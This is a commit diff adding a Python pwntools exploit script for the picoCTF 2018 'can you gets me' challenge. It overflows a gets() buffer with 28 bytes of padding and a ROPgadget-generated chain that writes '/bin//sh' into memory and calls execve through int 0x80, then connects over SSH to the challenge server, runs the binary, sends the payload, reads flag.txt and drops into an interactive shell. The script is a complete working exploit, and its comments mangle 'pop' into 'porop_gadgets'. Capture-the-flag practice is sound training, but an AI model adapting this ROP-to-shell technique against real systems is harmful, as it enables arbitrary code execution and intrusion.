|
| 1 | +#!/usr/bin/python |
| 2 | +from pwn import * |
| 3 | + |
| 4 | +USER = 'Platy' # Change username accordingly. |
| 5 | + |
| 6 | +padding = 'A' * 28 |
| 7 | +# execve generated by ROPgadget |
| 8 | +rop_gadgets = p32(0x0806f02a) # porop_gadgets edx ; ret |
| 9 | +rop_gadgets += p32(0x080ea060) # @ .data |
| 10 | +rop_gadgets += p32(0x080b81c6) # porop_gadgets eax ; ret |
| 11 | +rop_gadgets += '/bin' |
| 12 | +rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret |
| 13 | +rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret |
| 14 | +rop_gadgets += p32(0x080ea064) # @ .data + 4 |
| 15 | +rop_gadgets += p32(0x080b81c6) # porop_gadgets eax ; ret |
| 16 | +rop_gadgets += '//sh' |
| 17 | +rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret |
| 18 | +rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret |
| 19 | +rop_gadgets += p32(0x080ea068) # @ .data + 8 |
| 20 | +rop_gadgets += p32(0x08049303) # xor eax, eax ; ret |
| 21 | +rop_gadgets += p32(0x080549db) # mov dword ptr [edx], eax ; ret |
| 22 | +rop_gadgets += p32(0x080481c9) # porop_gadgets ebx ; ret |
| 23 | +rop_gadgets += p32(0x080ea060) # @ .data |
| 24 | +rop_gadgets += p32(0x080de955) # porop_gadgets ecx ; ret |
| 25 | +rop_gadgets += p32(0x080ea068) # @ .data + 8 |
| 26 | +rop_gadgets += p32(0x0806f02a) # porop_gadgets edx ; ret |
| 27 | +rop_gadgets += p32(0x080ea068) # @ .data + 8 |
| 28 | +rop_gadgets += p32(0x08049303) # xor eax, eax ; ret |
| 29 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 30 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 31 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 32 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 33 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 34 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 35 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 36 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 37 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 38 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 39 | +rop_gadgets += p32(0x0807a86f) # inc eax ; ret |
| 40 | +rop_gadgets += p32(0x0806cc25) # int 0x80 |
| 41 | + |
| 42 | +exploit = padding + rop_gadgets |
| 43 | + |
| 44 | +s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first |
| 45 | + |
| 46 | +py = s.run('cd /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d; ./gets') |
| 47 | +print py.recv() |
| 48 | +py.sendline(exploit) |
| 49 | +py.sendline('cat flag.txt') |
| 50 | +print py.recv() |
| 51 | +py.interactive() |
0 commit comments